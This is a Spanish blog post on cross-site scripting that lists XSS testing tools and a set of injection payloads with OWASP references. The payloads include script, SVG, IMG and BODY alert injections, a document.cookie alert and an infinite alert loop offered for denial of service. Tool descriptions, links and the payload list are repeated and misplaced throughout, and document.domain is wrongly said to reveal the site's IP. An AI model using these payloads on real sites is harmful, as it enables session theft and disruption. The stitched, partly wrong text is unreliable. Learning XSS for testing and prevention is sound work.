Después de introducirnos en el XSS en la entrada anterior, en entender como se produce, que tipos podemos encontrar y como tratar de evitarlo, en este artículo veremos diferentes tipos de inyección de XSS, herramientas que podemos utilizar y algunos link de referencia.
HERRAMIENTAS:
Dentro del mundo XSS, encontraremos diversas herramientas que ayudaran en diferentes funciones, ya sea desde la detección, hasta la explotación de las mismas. Ahora simplemente nombraré algunas de ellas, pero os animo a que tiréis de buscador y probéis otras diferentes opciones:
- Xenotix:
La encontramos para sistemas operativos Windows y como característica especial podemos afirmar que produce muy pocos falsos positivos.
Página oficial OWASP: https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework
https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework#owasp-xenotix-xss-exploit-framework
BruteXSS es una herramienta muy potente y rápida, que se utiliza para forzar parámetros por medio de fuerza bruta. El BruteXSS inyecta múltiples cargas útiles que obtiene de una lista de palabras específica y las ejecuta sobre los parámetros indicados, escaneando si alguno de los parámetros es vulnerable a la vulnerabilidad XSS.
https://sourceforge.net/projects/xsser/
EJEMPLOS DE INYECCIONES:
Algunos de los ejemplos de inyección que se pueden realizar en una aplicación web vulnerable a XSS:
<script>alert('XSS');</script> (Alert)
<script>prompt('XSS')</script> (Para sacar un prompt)
<svg onload=prompt('XSS')> (Para sacar un prompt)
<script>alert(document.cookie)</script> (Para sacar cookie de sesión)
<script>alert(document.domain)</script> (Para sacar la IP de la WEB)
Página oficial OWASP: https://www.owasp.org/index.php/OWASP_Xenotix_XSS_Exploit_Framework
https://github.com/ajinabraham/OWASP-Xenotix-XSS-Exploit-Framework#owasp-xenotix-xss-exploit-framework
- BeEF:
Browser Exploitation Framework. Es una herramienta de prueba de penetración que se centra en el navegador web.
BeEF permite al pentester evaluar la seguridad real de un entorno objetivo mediante el uso de vectores de ataque del lado del cliente.
BeEF permite al pentester evaluar la seguridad real de un entorno objetivo mediante el uso de vectores de ataque del lado del cliente.
Podemos encontrar esta herramienta instalada por defecto en Kali Linux.
- BruteXSS:
BruteXSS es una herramienta muy potente y rápida, que se utiliza para forzar parámetros por medio de fuerza bruta. El BruteXSS inyecta múltiples cargas útiles que obtiene de una lista de palabras específica y las ejecuta sobre los parámetros indicados, escaneando si alguno de los parámetros es vulnerable a la vulnerabilidad XSS.
- Soporta peticiones GET y POST.
- Fuerza bruta de parámetros XSS.
- Escaneo vulnerabilidades XSS.
- Se puede incluir una lista de palabras personalizada
- Interfaz de usuario amigable.
- XSSer:
- Viene instalada por defecto en Kali Linux.
- Soporta peticiones GET y POST.
- Permite diferentes tipos de inyecciones (XST, XSS, XSA, XSR, DOM, DCP, Induced...).
https://sourceforge.net/projects/xsser/
EJEMPLOS DE INYECCIONES:
Algunos de los ejemplos de inyección que se pueden realizar en una aplicación web vulnerable a XSS:
<script>alert('XSS');</script> (Alert)
<script>prompt('XSS')</script> (Para sacar un prompt)
<svg onload=prompt('XSS')> (Para sacar un prompt)
<script>alert(document.cookie)</script> (Para sacar cookie de sesión)
<script>alert(document.domain)</script> (Para sacar la IP de la WEB)
<script>for(;;)alert("bucle");</script> (Denegación de servicio)
<img src=foo.png onerror=alert(/XSS/) /> (Inyección en objeto IMG de HTML)
<BODY onload=alert("XSS")> (Inyectando objeto BODY de HTML)
REFERENCIAS:
<img src=foo.png onerror=alert(/XSS/) /> (Inyección en objeto IMG de HTML)
<BODY onload=alert("XSS")> (Inyectando objeto BODY de HTML)
REFERENCIAS:
- Cross-site Scripting (XSS): https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
- XSS (Cross Site Scripting) Prevention Cheat Sheet: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet
- DOM based XSS Prevention Cheat Sheet: https://www.owasp.org/index.php/DOM_based_XSS_Prevention_Cheat_Sheet
- Testing for Reflected Cross site scripting (OTG-INPVAL-001): https://www.owasp.org/index.php/Testing_for_Reflected_Cross_site_scripting_(OTG-INPVAL-001)
- Testing for Stored Cross site scripting (OTG-INPVAL-002): https://www.owasp.org/index.php/Testing_for_Stored_Cross_site_scripting_(OTG-INPVAL-002)
- Testing for DOM-based Cross site scripting (OTG-CLIENT-001): https://www.owasp.org/index.php/Testing_for_DOM-based_Cross_site_scripting_(OTG-CLIENT-001)
- DOM Based XSS: https://www.owasp.org/index.php/DOM_Based_XSS
- Cross-Site Scripting (XSS) Cheat Sheet | Veracode: https://www.veracode.com/security/xss